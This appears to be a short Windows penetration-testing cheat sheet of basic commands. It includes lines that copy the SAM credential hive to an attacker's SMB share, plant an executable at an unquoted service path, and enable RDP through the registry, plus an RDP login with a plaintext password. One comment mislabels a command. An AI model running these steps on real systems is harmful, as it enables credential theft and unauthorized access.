Commands

Commands

make filename.txt # read file contents
dir
#Listing DIRs with all hidden files and folders. 
dir /a:hd
#Same thing in Powershell.
ls -Fo
pwd
hostname
ipconfig
copy C:\app.exeΒ "C:\Program Files\Unquoted Path Service\Common.exe" #Copy and rename.
copy C:\Windows\Repair\SAM \\10.10.10.10\kali\ # You can also transfer to a smb share.
type C:\DevTools\CleanUp.ps1 # Read files like cat in linux.

Fix PATH if commands are not working

set PATH=%PATH%C:\Windows\System32;C:\Windows\System32\WindowsPowerShell\v1.0;

RDP

rdesktop IP # Most used.
xfreerdp /u:ariah /p:NowiseSloopTheory139 /v:192.168.66.99
Remmina also works. 

Enable RDP

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Last updated

Was this helpful?